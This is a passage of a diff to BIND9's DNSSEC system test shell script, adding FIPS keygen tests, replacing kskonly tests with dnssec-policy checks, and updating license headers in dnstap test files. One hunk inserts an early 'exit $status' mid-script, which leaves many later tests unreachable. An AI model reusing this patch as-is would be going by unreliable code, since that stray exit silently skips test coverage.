+	    key1=$($KEYGEN -a "$alg" -b "2048" -n zone "$zone" 2> "keygen-$alg.err" || true)
 	    ;;
 	15|16)
 	    key1=$($KEYGEN -a "$alg" -n zone "$zone" 2> "keygen-$alg.err" || true)
-	    # Soft-fail	in case HSM doesn't support Edwards curves
-	    if grep "not found" "keygen-$alg.err" > /dev/null && [ "$CRYPTO" = "pkcs11" ]; then
-		echo_i "Algorithm $alg not supported by HSM: skipping"
-		alg=$((alg+1))
-		continue
-	    fi
 	    ;;
 	*)
 	    key1=$($KEYGEN -a "$alg" -n zone "$zone" 2> "keygen-$alg.err" || true)
@@ -3329,6 +3396,44 @@ n=$((n+1))
 test "$ret" -eq 0 || echo_i "failed"
 status=$((status+ret))
 
+echo_i "check that 'dnssec-keygen -F' disables rsasha1 ($n)"
+ret=0
+if $FEATURETEST --have-fips-mode
+then
+    echo_i "skipped: already in FIPS mode"
+elif ! $FEATURETEST --fips-provider
+then
+	echo_i "skipped no FIPS provider available"
+elif ! $SHELL ../testcrypto.sh -q RSASHA1
+then
+    echo_i "skipped: RSASHA1 is not supported"
+else
+    $KEYGEN -F -a rsasha1 example.fips 2> keygen.err$n || true
+    grep -i "unsupported algorithm: RSASHA1" "keygen.err$n" > /dev/null || ret=1
+fi
+n=$((n+1))
+test "$ret" -eq 0 || echo_i "failed"
+status=$((status+ret))
+
+echo_i "check that 'dnssec-keygen -F' disables nsec3rsasha1 ($n)"
+ret=0
+if $FEATURETEST --have-fips-mode
+then
+    echo_i "skipped: already in FIPS mode"
+elif ! $FEATURETEST --fips-provider
+then
+    echo_i "skipped: cannot switch to FIPS mode"
+elif ! $SHELL ../testcrypto.sh -q RSASHA1
+then
+    echo_i "skipped: RSASHA1 is not supported"
+else
+    $KEYGEN -F -a nsec3rsasha1 example.fips 2> keygen.err$n || true
+    grep -i "unsupported algorithm: NSEC3RSASHA1" "keygen.err$n" > /dev/null || ret=1
+fi
+n=$((n+1))
+test "$ret" -eq 0 || echo_i "failed"
+status=$((status+ret))
+
 echo_i "check that CDS records are signed using KSK by dnssec-signzone ($n)"
 ret=0
 dig_with_opts +noall +answer @10.53.0.2 cds cds.secure > dig.out.test$n
@@ -3359,31 +3464,11 @@ n=$((n+1))
 test "$ret" -eq 0 || echo_i "failed"
 status=$((status+ret))
 
-echo_i "check that CDS records are signed using KSK by with dnssec-auto ($n)"
+echo_i "check that CDS records are signed using KSK by with dnssec-policy ($n)"
 ret=0
 dig_with_opts +noall +answer @10.53.0.2 cds cds-auto.secure > dig.out.test$n
 lines=$(awk '$4 == "RRSIG" && $5 == "CDS" {print}' dig.out.test$n | wc -l)
-test "$lines" -eq 2 || ret=1
-n=$((n+1))
-test "$ret" -eq 0 || echo_i "failed"
-status=$((status+ret))
-
-echo_i "check that a lone non matching CDS record is rejected ($n)"
-ret=0
-(
-echo zone cds-update.secure
-echo server 10.53.0.2 "$PORT"
-echo update delete cds-update.secure CDS
-dig_with_opts +noall +answer @10.53.0.2 dnskey cds-update.secure |
-grep "DNSKEY.257" | sed 's/DNSKEY.257/DNSKEY 258/' |
-$DSFROMKEY -C -A -f - -T 1 cds-update.secure |
-sed "s/^/update add /"
-echo send
-) | $NSUPDATE > nsupdate.out.test$n 2>&1 || true
-grep "update failed: REFUSED" nsupdate.out.test$n > /dev/null || ret=1
-dig_with_opts +noall +answer @10.53.0.2 cds cds-update.secure > dig.out.test$n
-lines=$(awk '$4 == "CDS" {print}' dig.out.test$n | wc -l)
-test "${lines:-10}" -eq 0 || ret=1
+test "$lines" -eq 1 || ret=1
 n=$((n+1))
 test "$ret" -eq 0 || echo_i "failed"
 status=$((status+ret))
@@ -3400,14 +3485,15 @@ echo send
 dig_with_opts +noall +answer @10.53.0.2 cds cds-update.secure > dig.out.test$n
 lines=$(awk '$4 == "CDS" {print}' dig.out.test$n | wc -l)
 test "${lines:-10}" -eq 1 || ret=1
-lines=$(tr -d '\r' < dig.out.test$n | awk '$4 == "CDS" && $5 == "0" && $6 == "0" && $7 == "0" && $8 == "00" {print}' | wc -l)
+lines=$(awk '$4 == "CDS" && $5 == "0" && $6 == "0" && $7 == "0" && $8 == "00" {print}' dig.out.test$n | wc -l)
 test "$lines" -eq 1 || ret=1
 n=$((n+1))
 test "$ret" -eq 0 || echo_i "failed"
 status=$((status+ret))
 
-echo_i "check that CDS records are signed using KSK when added by nsupdate ($n)"
+echo_i "check that CDS records are signed only using KSK when added by nsupdate ($n)"
 ret=0
+keyid=$(cat ns2/cds-update.secure.id)
 (
 echo zone cds-update.secure
 echo server 10.53.0.2 "$PORT"
@@ -3421,30 +3507,6 @@ echo send
 ) | $NSUPDATE
 dig_with_opts +noall +answer @10.53.0.2 cds cds-update.secure > dig.out.test$n
 lines=$(awk '$4 == "RRSIG" && $5 == "CDS" {print}' dig.out.test$n | wc -l)
-test "$lines" -eq 2 || ret=1
-lines=$(awk '$4 == "CDS" {print}' dig.out.test$n | wc -l)
-test "$lines" -eq 2 || ret=1
-n=$((n+1))
-test "$ret" -eq 0 || echo_i "failed"
-status=$((status+ret))
-
-echo_i "check that CDS records are signed only using KSK when added by"
-echo_ic "nsupdate when dnssec-dnskey-kskonly is yes ($n)"
-ret=0
-keyid=$(cat ns2/cds-kskonly.secure.id)
-(
-echo zone cds-kskonly.secure
-echo server 10.53.0.2 "$PORT"
-echo update delete cds-kskonly.secure CDS
-echo send
-dig_with_opts +noall +answer @10.53.0.2 dnskey cds-kskonly.secure |
-grep "DNSKEY.257" |
-$DSFROMKEY -12 -C -f - -T 1 cds-kskonly.secure |
-sed "s/^/update add /"
-echo send
-) | $NSUPDATE
-dig_with_opts +noall +answer @10.53.0.2 cds cds-kskonly.secure > dig.out.test$n
-lines=$(awk '$4 == "RRSIG" && $5 == "CDS" {print}' dig.out.test$n | wc -l)
 test "$lines" -eq 1 || ret=1
 lines=$(awk -v id="${keyid}" '$4 == "RRSIG" && $5 == "CDS" && $11 == id {print}' dig.out.test$n | wc -l)
 test "$lines" -eq 1 || ret=1
@@ -3454,25 +3516,24 @@ n=$((n+1))
 test "$ret" -eq 0 || echo_i "failed"
 status=$((status+ret))
 
-echo_i "check that CDS deletion records are signed only using KSK when added by"
-echo_ic "nsupdate when dnssec-dnskey-kskonly is yes ($n)"
+echo_i "check that CDS deletion records are signed only using KSK when added by nsupdate ($n)"
 ret=0
-keyid=$(cat ns2/cds-kskonly.secure.id)
+keyid=$(cat ns2/cds-update.secure.id)
 (
-echo zone cds-kskonly.secure
+echo zone cds-update.secure
 echo server 10.53.0.2 "$PORT"
-echo update delete cds-kskonly.secure CDS
-echo update add cds-kskonly.secure 0 CDS 0 0 0 00
+echo update delete cds-update.secure CDS
+echo update add cds-update.secure 0 CDS 0 0 0 00
 echo send
 ) | $NSUPDATE
-dig_with_opts +noall +answer @10.53.0.2 cds cds-kskonly.secure > dig.out.test$n
+dig_with_opts +noall +answer @10.53.0.2 cds cds-update.secure > dig.out.test$n
 lines=$(awk '$4 == "RRSIG" && $5 == "CDS" {print}' dig.out.test$n | wc -l)
 test "$lines" -eq 1 || ret=1
 lines=$(awk -v id="${keyid}" '$4 == "RRSIG" && $5 == "CDS" && $11 == id {print}' dig.out.test$n | wc -l)
 test "$lines" -eq 1 || ret=1
 lines=$(awk '$4 == "CDS" {print}' dig.out.test$n | wc -l)
 test "$lines" -eq 1 || ret=1
-lines=$(tr -d '\r' < dig.out.test$n | awk '$4 == "CDS" && $5 == "0" && $6 == "0" && $7 == "0" && $8 == "00" {print}' | wc -l)
+lines=$(awk '$4 == "CDS" && $5 == "0" && $6 == "0" && $7 == "0" && $8 == "00" {print}' dig.out.test$n | wc -l)
 test "$lines" -eq 1 || ret=1
 n=$((n+1))
 test "$ret" -eq 0 || echo_i "failed"
@@ -3509,7 +3570,7 @@ echo send
 ) | $NSUPDATE
 dig_with_opts +noall +answer @10.53.0.2 cds cds-update.secure > dig.out.test$n
 lines=$(awk '$4 == "RRSIG" && $5 == "CDS" {print}' dig.out.test$n | wc -l)
-test "$lines" -eq 2 || ret=1
+test "$lines" -eq 1 || ret=1
 lines=$(awk '$4 == "CDS" {print}' dig.out.test$n | wc -l)
 test "$lines" -eq 4 || ret=1
 n=$((n+1))
@@ -3558,7 +3619,7 @@ echo_i "check that CDNSKEY records are signed using KSK by with dnssec-auto ($n)
 ret=0
 dig_with_opts +noall +answer @10.53.0.2 cdnskey cdnskey-auto.secure > dig.out.test$n
 lines=$(awk '$4 == "RRSIG" && $5 == "CDNSKEY" {print}' dig.out.test$n | wc -l)
-test "$lines" -eq 2 || ret=1
+test "$lines" -eq 1 || ret=1
 n=$((n+1))
 test "$ret" -eq 0 || echo_i "failed"
 status=$((status+ret))
@@ -3601,25 +3662,6 @@ status=$((status+ret))
 # precedes the supported one in the DNSKEY RRset, and verify the result still
 # validates succesfully.
 
-echo_i "check that a lone non matching CDNSKEY record is rejected ($n)"
-ret=0
-(
-echo zone cdnskey-update.secure
-echo server 10.53.0.2 "$PORT"
-echo update delete cdnskey-update.secure CDNSKEY
-echo send
-dig_with_opts +noall +answer @10.53.0.2 dnskey cdnskey-update.secure |
-sed -n -e "s/^/update add /" -e 's/DNSKEY.257/CDNSKEY 258/p'
-echo send
-) | $NSUPDATE > nsupdate.out.test$n 2>&1 || true
-grep "update failed: REFUSED" nsupdate.out.test$n > /dev/null || ret=1
-dig_with_opts +noall +answer @10.53.0.2 cdnskey cdnskey-update.secure > dig.out.test$n
-lines=$(awk '$4 == "CDNSKEY" {print}' dig.out.test$n | wc -l)
-test "${lines:-10}" -eq 0 || ret=1
-n=$((n+1))
-test "$ret" -eq 0 || echo_i "failed"
-status=$((status+ret))
-
 echo_i "check that a CDNSKEY deletion record is accepted ($n)"
 ret=0
 (
@@ -3632,7 +3674,7 @@ echo send
 dig_with_opts +noall +answer @10.53.0.2 cdnskey cdnskey-update.secure > dig.out.test$n
 lines=$(awk '$4 == "CDNSKEY" {print}' dig.out.test$n | wc -l)
 test "${lines:-10}" -eq 1 || ret=1
-lines=$(tr -d '\r' < dig.out.test$n | awk '$4 == "CDNSKEY" && $5 == "0" && $6 == "3" && $7 == "0" && $8 == "AA==" {print}' | wc -l)
+lines=$(awk '$4 == "CDNSKEY" && $5 == "0" && $6 == "3" && $7 == "0" && $8 == "AA==" {print}' dig.out.test$n | wc -l)
 test "${lines:-10}" -eq 1 || ret=1
 n=$((n+1))
 test "$ret" -eq 0 || echo_i "failed"
@@ -3649,8 +3691,9 @@ n=$((n+1))
 test "$ret" -eq 0 || echo_i "failed"
 status=$((status+ret))
 
-echo_i "check that CDNSKEY records are signed using KSK when added by nsupdate ($n)"
+echo_i "check that CDNSKEY records are signed using KSK only when added by nsupdate ($n)"
 ret=0
+keyid=$(cat ns2/cdnskey-update.secure.id)
 (
 echo zone cdnskey-update.secure
 echo server 10.53.0.2 "$PORT"
@@ -3661,27 +3704,6 @@ echo send
 ) | $NSUPDATE
 dig_with_opts +noall +answer @10.53.0.2 cdnskey cdnskey-update.secure > dig.out.test$n
 lines=$(awk '$4 == "RRSIG" && $5 == "CDNSKEY" {print}' dig.out.test$n | wc -l)
-test "$lines" -eq 2 || ret=1
-lines=$(awk '$4 == "CDNSKEY" {print}' dig.out.test$n | wc -l)
-test "$lines" -eq 1 || ret=1
-n=$((n+1))
-test "$ret" -eq 0 || echo_i "failed"
-status=$((status+ret))
-
-echo_i "check that CDNSKEY records are signed only using KSK when added by"
-echo_ic "nsupdate when dnssec-dnskey-kskonly is yes ($n)"
-ret=0
-keyid=$(cat ns2/cdnskey-kskonly.secure.id)
-(
-echo zone cdnskey-kskonly.secure
-echo server 10.53.0.2 "$PORT"
-echo update delete cdnskey-kskonly.secure CDNSKEY
-dig_with_opts +noall +answer @10.53.0.2 dnskey cdnskey-kskonly.secure |
-sed -n -e "s/^/update add /" -e 's/DNSKEY.257/CDNSKEY 257/p'
-echo send
-) | $NSUPDATE
-dig_with_opts +noall +answer @10.53.0.2 cdnskey cdnskey-kskonly.secure > dig.out.test$n
-lines=$(awk '$4 == "RRSIG" && $5 == "CDNSKEY" {print}' dig.out.test$n | wc -l)
 test "$lines" -eq 1 || ret=1
 lines=$(awk -v id="${keyid}" '$4 == "RRSIG" && $5 == "CDNSKEY" && $11 == id {print}' dig.out.test$n | wc -l)
 test "$lines" -eq 1 || ret=1
@@ -3691,29 +3713,8 @@ n=$((n+1))
 test "$ret" -eq 0 || echo_i "failed"
 status=$((status+ret))
 
-echo_i "check that CDNSKEY deletion records are signed only using KSK when added by"
-echo_ic "nsupdate when dnssec-dnskey-kskonly is yes ($n)"
-ret=0
-keyid=$(cat ns2/cdnskey-kskonly.secure.id)
-(
-echo zone cdnskey-kskonly.secure
-echo server 10.53.0.2 "$PORT"
-echo update delete cdnskey-kskonly.secure CDNSKEY
-echo update add cdnskey-kskonly.secure 0 CDNSKEY 0 3 0 AA==
-echo send
-) | $NSUPDATE
-dig_with_opts +noall +answer @10.53.0.2 cdnskey cdnskey-kskonly.secure > dig.out.test$n
-lines=$(awk '$4 == "RRSIG" && $5 == "CDNSKEY" {print}' dig.out.test$n | wc -l)
-test "$lines" -eq 1 || ret=1
-lines=$(awk -v id="${keyid}" '$4 == "RRSIG" && $5 == "CDNSKEY" && $11 == id {print}' dig.out.test$n | wc -l)
-test "$lines" -eq 1 || ret=1
-lines=$(awk '$4 == "CDNSKEY" {print}' dig.out.test$n | wc -l)
-test "$lines" -eq 1 || ret=1
-lines=$(tr -d '\r' < dig.out.test$n | awk '$4 == "CDNSKEY" && $5 == "0" && $6 == "3" && $7 == "0" && $8 == "AA==" {print}' | wc -l)
-test "${lines:-10}" -eq 1 || ret=1
-n=$((n+1))
-test "$ret" -eq 0 || echo_i "failed"
-status=$((status+ret))
+echo_i "status: $status"
+exit $status
 
 echo_i "checking initialization with a revoked managed key ($n)"
 ret=0
@@ -3740,7 +3741,7 @@ echo send
 ) | $NSUPDATE
 dig_with_opts +noall +answer @10.53.0.2 cdnskey cdnskey-update.secure > dig.out.test$n
 lines=$(awk '$4 == "RRSIG" && $5 == "CDNSKEY" {print}' dig.out.test$n | wc -l)
-test "$lines" -eq 2 || ret=1
+test "$lines" -eq 1 || ret=1
 lines=$(awk '$4 == "CDNSKEY" {print}' dig.out.test$n | wc -l)
 test "$lines" -eq 2 || ret=1
 n=$((n+1))
@@ -3752,8 +3753,8 @@ ret=0
 # generate signed zone with MX and AAAA records at apex.
 (
 cd signer || exit 1
-$KEYGEN -q -a RSASHA1 -3 -fK remove > /dev/null
-$KEYGEN -q -a RSASHA1 -33 remove > /dev/null
+$KEYGEN -q -a $DEFAULT_ALGORITHM -3 -fK remove > /dev/null
+$KEYGEN -q -a $DEFAULT_ALGORITHM -33 remove > /dev/null
 echo > remove.db.signed
 $SIGNER -S -o remove -D -f remove.db.signed remove.db.in > signer.out.1.$n
 )
@@ -3838,9 +3839,9 @@ ret=0
 dig_with_opts . dnskey +ednsopt=KEY-TAG:fffe +ednsopt=KEY-TAG:fffd @10.53.0.1 > dig.out.ns1.test$n || ret=1
 grep "trust-anchor-telemetry './IN' from .* 65534" ns1/named.run > /dev/null || ret=1
 grep "trust-anchor-telemetry './IN' from .* 65533" ns1/named.run > /dev/null && ret=1
-$PERL ../stop.pl dnssec ns1 || ret=1
+stop_server ns1 || ret=1
 nextpart ns1/named.run > /dev/null
-start_server --noclean --restart --port ${PORT} dnssec ns1 || ret=1
+start_server --noclean --restart --port ${PORT} ns1 || ret=1
 n=$(($n+1))
 test "$ret" -eq 0 || echo_i "failed"
 status=$((status+ret))
@@ -3862,7 +3863,7 @@ status=$((status+ret))
 echo_i "check that DNAME at apex with NSEC3 is correctly signed (dnssec-signzone) ($n)"
 ret=0
 dig_with_opts txt dname-at-apex-nsec3.example @10.53.0.3 > dig.out.ns3.test$n || ret=1
-grep "RRSIG.NSEC3 ${DEFAULT_ALGORITHM_NUMBER} 3 600" dig.out.ns3.test$n > /dev/null || ret=1
+grep "RRSIG.NSEC3 $DEFAULT_ALGORITHM_NUMBER 3 600" dig.out.ns3.test$n > /dev/null || ret=1
 n=$((n+1))
 test "$ret" -eq 0 || echo_i "failed"
 status=$((status+ret))
@@ -4050,10 +4051,10 @@ status=$((status+ret))
 
 # Save some useful information
 zone="updatecheck-kskonly.secure"
-KSK=`cat ns2/${zone}.ksk.key`
-ZSK=`cat ns2/${zone}.zsk.key`
-KSK_ID=`cat ns2/${zone}.ksk.id`
-ZSK_ID=`cat ns2/${zone}.zsk.id`
+KSK=$(cat ns2/${zone}.ksk.key)
+ZSK=$(cat ns2/${zone}.zsk.key)
+KSK_ID=$(cat ns2/${zone}.ksk.id)
+ZSK_ID=$(cat ns2/${zone}.zsk.id)
 SECTIONS="+answer +noauthority +noadditional"
 echo_i "testing zone $zone KSK=$KSK_ID ZSK=$ZSK_ID"
 
@@ -4069,7 +4070,7 @@ get_keys_which_signed() {
 # Basic checks to make sure everything is fine before the KSK is made offline.
 for qtype in "DNSKEY" "CDNSKEY" "CDS"
 do
-  echo_i "checking $qtype RRset is signed with KSK only (update-check-ksk, dnssec-ksk-only) ($n)"
+  echo_i "checking $qtype RRset is signed with KSK only ($n)"
   ret=0
   dig_with_opts $SECTIONS @10.53.0.2 $qtype $zone > dig.out.test$n
   lines=$(get_keys_which_signed $qtype dig.out.test$n | wc -l)
@@ -4081,7 +4082,7 @@ do
   status=$((status+ret))
 done
 
-echo_i "checking SOA RRset is signed with ZSK only (update-check-ksk and dnssec-ksk-only) ($n)"
+echo_i "checking SOA RRset is signed with ZSK only ($n)"
 ret=0
 dig_with_opts $SECTIONS @10.53.0.2 soa $zone > dig.out.test$n
 lines=$(get_keys_which_signed "SOA" dig.out.test$n | wc -l)
@@ -4095,11 +4096,10 @@ status=$((status+ret))
 # Roll the ZSK.
 zsk2=$("$KEYGEN" -q -a "$DEFAULT_ALGORITHM" -b "$DEFAULT_BITS" -K ns2 -n zone "$zone")
 keyfile_to_key_id "$zsk2" > ns2/$zone.zsk.id2
-ZSK_ID2=`cat ns2/$zone.zsk.id2`
-
-echo_i "load new ZSK $ZSK_ID2 for $zone ($n)"
+ZSK_ID2=$(cat ns2/$zone.zsk.id2)
 ret=0
-dnssec_loadkeys_on 2 $zone || ret=1
+echo_i "prepublish new ZSK $ZSK_ID2 for $zone ($n)"
+rndccmd 10.53.0.2 dnssec -rollover -key $ZSK_ID $zone 2>&1 | sed 's/^/ns2 /' | cat_i
 n=$((n+1))
 test "$ret" -eq 0 || echo_i "failed"
 status=$((status+ret))
@@ -4108,7 +4108,7 @@ status=$((status+ret))
 echo_i "make ZSK $ZSK_ID inactive and make new ZSK $ZSK_ID2 active for zone $zone ($n)"
 ret=0
 $SETTIME -I now -K ns2 $ZSK > /dev/null
-$SETTIME -A now -K ns2 $zsk2 > /dev/null
+$SETTIME -s -k OMNIPRESENT now -A now -K ns2 $zsk2 > /dev/null
 dnssec_loadkeys_on 2 $zone || ret=1
 n=$((n+1))
 test "$ret" -eq 0 || echo_i "failed"
@@ -4131,7 +4131,7 @@ echo send
 # Redo the tests now that the zone is updated and the KSK is offline.
 for qtype in "DNSKEY" "CDNSKEY" "CDS"
 do
-  echo_i "checking $qtype RRset is signed with KSK only, KSK offline (update-check-ksk, dnssec-ksk-only) ($n)"
+  echo_i "checking $qtype RRset is signed with KSK only, KSK offline ($n)"
   ret=0
   dig_with_opts $SECTIONS @10.53.0.2 $qtype $zone > dig.out.test$n
   lines=$(get_keys_which_signed $qtype dig.out.test$n | wc -l)
@@ -4146,7 +4146,7 @@ done
 
 for qtype in "SOA" "TXT"
 do
-  echo_i "checking $qtype RRset is signed with ZSK only, KSK offline (update-check-ksk and dnssec-ksk-only) ($n)"
+  echo_i "checking $qtype RRset is signed with new ZSK $ZSK_ID2 only, KSK offline ($n)"
   ret=0
   dig_with_opts $SECTIONS @10.53.0.2 $qtype $zone > dig.out.test$n
   lines=$(get_keys_which_signed $qtype dig.out.test$n | wc -l)
@@ -4167,14 +4167,14 @@ mv ns2/$KSK.private.bak ns2/$KSK.private
 # Roll the ZSK again.
 zsk3=$("$KEYGEN" -q -a "$DEFAULT_ALGORITHM" -b "$DEFAULT_BITS" -K ns2 -n zone "$zone")
 keyfile_to_key_id "$zsk3" > ns2/$zone.zsk.id3
-ZSK_ID3=`cat ns2/$zone.zsk.id3`
+ZSK_ID3=$(cat ns2/$zone.zsk.id3)
 
 # Schedule the new ZSK (ZSK3) to become active.
 echo_i "delete old ZSK $ZSK_ID schedule ZSK $ZSK_ID2 inactive and new ZSK $ZSK_ID3 active for zone $zone ($n)"
-$SETTIME -D now -K ns2 $ZSK > /dev/null
+$SETTIME -s -k UNRETENTIVE -z HIDDEN -D now -K ns2 $ZSK > /dev/null
 $SETTIME -I +3600 -K ns2 $zsk2 > /dev/null
 $SETTIME -A +3600 -K ns2 $zsk3 > /dev/null
-dnssec_loadkeys_on 2 $zone || ret=1
+rndccmd 10.53.0.2 dnssec -rollover -key $ZSK_ID2 $zone 2>&1 | sed 's/^/ns2 /' | cat_i
 n=$((n+1))
 test "$ret" -eq 0 || echo_i "failed"
 status=$((status+ret))
@@ -4196,7 +4196,7 @@ echo send
 # Redo the tests now that the ZSK roll has deleted the old key.
 for qtype in "DNSKEY" "CDNSKEY" "CDS"
 do
-  echo_i "checking $qtype RRset is signed with KSK only, old ZSK deleted (update-check-ksk, dnssec-ksk-only) ($n)"
+  echo_i "checking $qtype RRset is signed with KSK only, old ZSK deleted ($n)"
   ret=0
   dig_with_opts $SECTIONS @10.53.0.2 $qtype $zone > dig.out.test$n
   lines=$(get_keys_which_signed $qtype dig.out.test$n | wc -l)
@@ -4212,7 +4212,7 @@ done
 
 for qtype in "SOA" "TXT"
 do
-  echo_i "checking $qtype RRset is signed with ZSK only, old ZSK deleted (update-check-ksk and dnssec-ksk-only) ($n)"
+  echo_i "checking $qtype RRset is signed with ZSK $ZSK_ID2 only, old ZSK deleted ($n)"
   ret=0
   dig_with_opts $SECTIONS @10.53.0.2 $qtype $zone > dig.out.test$n
   lines=$(get_keys_which_signed $qtype dig.out.test$n | wc -l)
@@ -4228,8 +4228,9 @@ done
 
 # Make the new ZSK (ZSK3) active.
 echo_i "make new ZSK $ZSK_ID3 active for zone $zone ($n)"
-$SETTIME -I +1 -K ns2 $zsk2 > /dev/null
-$SETTIME -A +1 -K ns2 $zsk3 > /dev/null
+$SETTIME -I now -K ns2 $zsk2 > /dev/null
+$SETTIME -s -k OMNIPRESENT now -A now -K ns2 $zsk3 > /dev/null
+
 dnssec_loadkeys_on 2 $zone || ret=1
 n=$((n+1))
 test "$ret" -eq 0 || echo_i "failed"
@@ -4263,7 +4264,7 @@ status=$((status+ret))
 # Redo the tests one more time.
 for qtype in "DNSKEY" "CDNSKEY" "CDS"
 do
-  echo_i "checking $qtype RRset is signed with KSK only, new ZSK active (update-check-ksk, dnssec-ksk-only) ($n)"
+  echo_i "checking $qtype RRset is signed with KSK only, new ZSK active ($n)"
   ret=0
   dig_with_opts $SECTIONS @10.53.0.2 $qtype $zone > dig.out.test$n
   lines=$(get_keys_which_signed $qtype dig.out.test$n | wc -l)
@@ -4279,7 +4280,7 @@ done
 
 for qtype in "SOA" "TXT"
 do
-  echo_i "checking $qtype RRset is signed with ZSK only, new ZSK active (update-check-ksk and dnssec-ksk-only) ($n)"
+  echo_i "checking $qtype RRset is signed with new ZSK $ZSK_ID3 only, new ZSK active ($n)"
   ret=0
   dig_with_opts $SECTIONS @10.53.0.2 $qtype $zone > dig.out.test$n
   lines=$(get_keys_which_signed $qtype dig.out.test$n | wc -l)
@@ -4302,9 +4303,9 @@ n=$((n+1))
 test "$ret" -eq 0 || echo_i "failed"
 status=$((status+ret))
 
-echo_i "checking sig-validity-interval second field hours vs days ($n)"
+echo_i "checking signatures-validity second field hours vs days ($n)"
 ret=0
-# zone configured with 'sig-validity-interval 500 499;'
+# zone configured with 'signatures-validity 500 499;'
 # 499 days in the future w/ a 20 minute runtime to now allowance
 min=$(TZ=UTC $PERL -e '@lt=localtime(time() + 499*3600*24 - 20*60); printf "%.4d%0.2d%0.2d%0.2d%0.2d%0.2d\n",$lt[5]+1900,$lt[4]+1,$lt[3],$lt[2],$lt[1],$lt[0];')
 dig_with_opts @10.53.0.2 hours-vs-days AXFR > dig.out.ns2.test$n
@@ -4382,5 +4383,23 @@ n=$((n+1))
 test "$ret" -eq 0 || echo_i "failed"
 status=$((status+ret))
 
+# Check that a query against a validating resolver succeeds when there is
+# a negative cache entry with trust level "pending" for the DS.  Prime
+# with a +cd DS query to produce the negative cache entry, then send a
+# query that uses that entry as part of the validation process. [GL #3279]
+echo_i "check that pending negative DS cache entry validates ($n)"
+ret=0
+dig_with_opts @10.53.0.4 +cd insecure2.example. ds > dig.out.prime.ns4.test$n || ret=1
+grep "flags: qr rd ra cd;" dig.out.prime.ns4.test$n >/dev/null || ret=1
+grep "status: NOERROR" dig.out.prime.ns4.test$n >/dev/null || ret=1
+grep "ANSWER: 0, AUTHORITY: 4, " dig.out.prime.ns4.test$n > /dev/null || ret=1
+dig_with_opts @10.53.0.4 a.insecure2.example. a > dig.out.ns4.test$n || ret=1
+grep "ANSWER: 1, AUTHORITY: 1, " dig.out.ns4.test$n > /dev/null || ret=1
+grep "flags: qr rd ra;" dig.out.ns4.test$n >/dev/null || ret=1
+grep "status: NOERROR" dig.out.ns4.test$n >/dev/null || ret=1
+n=$((n+1))
+if [ "$ret" -ne 0 ]; then echo_i "failed"; fi
+status=$((status+ret))
+
 echo_i "exit status: $status"
 [ $status -eq 0 ] || exit 1
diff --git a/bin/tests/system/dnssec/tests_sh_dnssec.py b/bin/tests/system/dnssec/tests_sh_dnssec.py
new file mode 100644
index 0000000000..65c3d4341f
--- /dev/null
+++ b/bin/tests/system/dnssec/tests_sh_dnssec.py
@@ -0,0 +1,14 @@
+# Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+#
+# SPDX-License-Identifier: MPL-2.0
+#
+# This Source Code Form is subject to the terms of the Mozilla Public
+# License, v. 2.0.  If a copy of the MPL was not distributed with this
+# file, you can obtain one at https://mozilla.org/MPL/2.0/.
+#
+# See the COPYRIGHT file distributed with this work for additional
+# information regarding copyright ownership.
+
+
+def test_dnssec(run_tests_sh):
+    run_tests_sh()
diff --git a/bin/tests/system/dnstap/README b/bin/tests/system/dnstap/README
index 5ff797b613..856fe482f3 100644
--- a/bin/tests/system/dnstap/README
+++ b/bin/tests/system/dnstap/README
@@ -1,6 +1,13 @@
 Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 
-See COPYRIGHT in the source root or https://isc.org/copyright.html for terms.
+SPDX-License-Identifier: MPL-2.0
+
+This Source Code Form is subject to the terms of the Mozilla Public
+License, v. 2.0.  If a copy of the MPL was not distributed with this
+file, you can obtain one at https://mozilla.org/MPL/2.0/.
+
+See the COPYRIGHT file distributed with this work for additional
+information regarding copyright ownership.
 
 The "large-answer.fstrm" file was generated by configuring a named instance
 compiled with --enable-dnstap and --enable-fixed-rrset with the following
diff --git a/bin/tests/system/dnstap/bad-fstrm-reopen-interval.conf b/bin/tests/system/dnstap/bad-fstrm-reopen-interval.conf
index dafa894852..fd673d6df7 100644
--- a/bin/tests/system/dnstap/bad-fstrm-reopen-interval.conf
+++ b/bin/tests/system/dnstap/bad-fstrm-reopen-interval.conf
@@ -1,9 +1,11 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
- * License, v. 2.0. If a copy of the MPL was not distributed with this
- * file, You can obtain one at http://mozilla.org/MPL/2.0/.
+ * License, v. 2.0.  If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
  *
  * See the COPYRIGHT file distributed with this work for additional
  * information regarding copyright ownership.
diff --git a/bin/tests/system/dnstap/bad-fstrm-set-buffer-hint-max.conf b/bin/tests/system/dnstap/bad-fstrm-set-buffer-hint-max.conf
index 4f90895dc2..cdab66b791 100644
--- a/bin/tests/system/dnstap/bad-fstrm-set-buffer-hint-max.conf
+++ b/bin/tests/system/dnstap/bad-fstrm-set-buffer-hint-max.conf
@@ -1,9 +1,11 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
- * License, v. 2.0. If a copy of the MPL was not distributed with this
- * file, You can obtain one at http://mozilla.org/MPL/2.0/.
+ * License, v. 2.0.  If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
  *
  * See the COPYRIGHT file distributed with this work for additional
  * information regarding copyright ownership.
diff --git a/bin/tests/system/dnstap/bad-fstrm-set-buffer-hint-min.conf b/bin/tests/system/dnstap/bad-fstrm-set-buffer-hint-min.conf
index 14cfa3e897..c5444e9a6c 100644
--- a/bin/tests/system/dnstap/bad-fstrm-set-buffer-hint-min.conf
+++ b/bin/tests/system/dnstap/bad-fstrm-set-buffer-hint-min.conf
@@ -1,9 +1,11 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
- * License, v. 2.0. If a copy of the MPL was not distributed with this
- * file, You can obtain one at http://mozilla.org/MPL/2.0/.
+ * License, v. 2.0.  If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
  *
  * See the COPYRIGHT file distributed with this work for additional
  * information regarding copyright ownership.
